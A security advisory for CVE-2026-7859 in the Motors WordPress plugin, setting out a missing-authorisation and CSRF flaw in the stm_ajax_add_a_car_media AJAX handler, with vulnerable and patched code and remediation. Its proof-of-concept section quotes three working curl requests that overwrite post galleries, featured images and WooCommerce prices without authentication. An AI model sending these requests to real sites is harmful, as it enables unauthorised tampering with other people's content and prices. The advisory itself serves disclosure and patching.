- Product
- Motors (WordPress plugin)
- Versions
- Before 1.4.110 · fixed in 1.4.110
- Severity
- MediumCVSS score 5.3 · WPScan
- CVE
- CVE-2026-7859, assigned by WPScan
- Found by
- Mustafa Ahmed, Fortress MSSP
- Published
- November 11, 2026CVE published by WPScan on June 22, 2026
Description
The Motors WordPress plugin before 1.4.110 does not have proper authorisation and CSRF checks on one of its AJAX actions, allowing unauthenticated attackers to modify arbitrary post metadata, such as the gallery, featured image and, on WooCommerce sites, product prices.
From the CVE record · CWE-862 Missing Authorization and CWE-352 Cross-Site Request Forgery (CSRF)
Technical analysis
stm_ajax_add_a_car_media() begins acting on the request without verifying a nonce or checking any capability, and takes the target post ID from $_POST['post_id'] (cast with intval()). Its only authorisation test compares the post's stm_car_user meta with get_current_user_id(), and that test runs only when stm_car_user is nonempty. For any post that has no stm_car_user meta, the check is skipped entirely, whoever the caller is.
function stm_ajax_add_a_car_media() {
if ( apply_filters( 'stm_site_demo_mode', false ) ) {
wp_send_json( array( 'message' => esc_html__( 'Site is on demo mode', 'stm_vehicles_listing' ) ) );
exit;
}
$redirect_type = ( isset( $_POST['redirect_type'] ) ) ? $_POST['redirect_type'] : '';
$post_id = intval( $_POST['post_id'] );
if ( ! $post_id ) {
/*No id passed from first ajax Call?*/
wp_send_json( array( 'message' => esc_html__( 'Some error occurred, try again later', 'stm_vehicles_listing' ) ) );
exit;
}
$user_id = get_current_user_id();
$updating = $post_id && get_post_meta( $post_id, 'is_listing_updating', true );
if ( ! empty( $post_id ) ) {
if ( ! empty( get_post_meta( $post_id, 'stm_car_user', true ) ) && intval( get_post_meta( $post_id, 'stm_car_user', true ) ) !== intval( $user_id ) ) {
1.4.110 adds check_ajax_referer( 'stm_security_nonce', 'security' ) at the top of the handler and replaces the conditional stm_car_user comparison with an unconditional stm_current_user_can_manage_listing_media( $post_id ) check that must pass before anything is changed.
function stm_ajax_add_a_car_media() {
check_ajax_referer( 'stm_security_nonce', 'security' );
if ( apply_filters( 'stm_site_demo_mode', false ) ) {
wp_send_json( array( 'message' => esc_html__( 'Site is on demo mode', 'stm_vehicles_listing' ) ) );
exit;
}
$redirect_type = ( isset( $_POST['redirect_type'] ) ) ? sanitize_key( wp_unslash( $_POST['redirect_type'] ) ) : '';
$post_id = isset( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : 0;
if ( ! $post_id ) {
/*No id passed from first ajax Call?*/
wp_send_json( array( 'message' => esc_html__( 'Some error occurred, try again later', 'stm_vehicles_listing' ) ) );
exit;
}
$user_id = get_current_user_id();
$updating = $post_id && get_post_meta( $post_id, 'is_listing_updating', true );
if ( ! stm_current_user_can_manage_listing_media( $post_id ) ) {
Fortress’s reading of the public source code at the versions shown.
Proof of concept
As published by WPScan in its advisory on June 1, 2026.
1. Install motors-car-dealership-classified-listings <= 1.4.108
2. Target any post whose stm_car_user meta is unset (every non-listing post: blog posts, pages, WooCommerce products)
Primitive 1 — overwrite gallery and featured image:
curl -s -X POST TARGET/wp-admin/admin-ajax.php \
-d "action=stm_ajax_add_a_car_media" \
--data-urlencode "post_id=<POST_ID>" \
--data-urlencode "media_position_0=4242" \
--data-urlencode "media_position_1=9999"
Response: {"message":"Listing added","success":true}
gallery meta is now {"0":4242,"1":9999}; _thumbnail_id is now 4242
Primitive 2 — clear gallery and scrub featured image:
curl -s -X POST TARGET/wp-admin/admin-ajax.php \
-d "action=stm_ajax_add_a_car_media" \
--data-urlencode "post_id=<POST_ID>"
Primitive 3 — overwrite WooCommerce product price (requires WooCommerce active + pay-per-listing configured):
curl -s -X POST TARGET/wp-admin/admin-ajax.php \
-d "action=stm_ajax_add_a_car_media" \
--data-urlencode "post_id=<PRODUCT_ID>" \
--data-urlencode "redirect_type=pay"
_price is overwritten to the configured pay-per-listing price; pay_per_listing is set to "pay"Severity
WPScan rates it 5.3 (medium). CISA’s ADP scores it 5.3 (medium) in the CVE record.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NCISA ADP
Remediation
Update Motors Car Dealership & Classified Listings to 1.4.110 or later.
Disclosure timeline
- CVE ID reserved by WPScan.
- Fix committed to the plugin repository (r3552481).
- Version 1.4.110 released.
- WPScan advisory published.
- CVE published by WPScan.
- Published on this site.
Credit
Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.
WPScan's advisory lists Mustafa Ahmed as original researcher and submitter.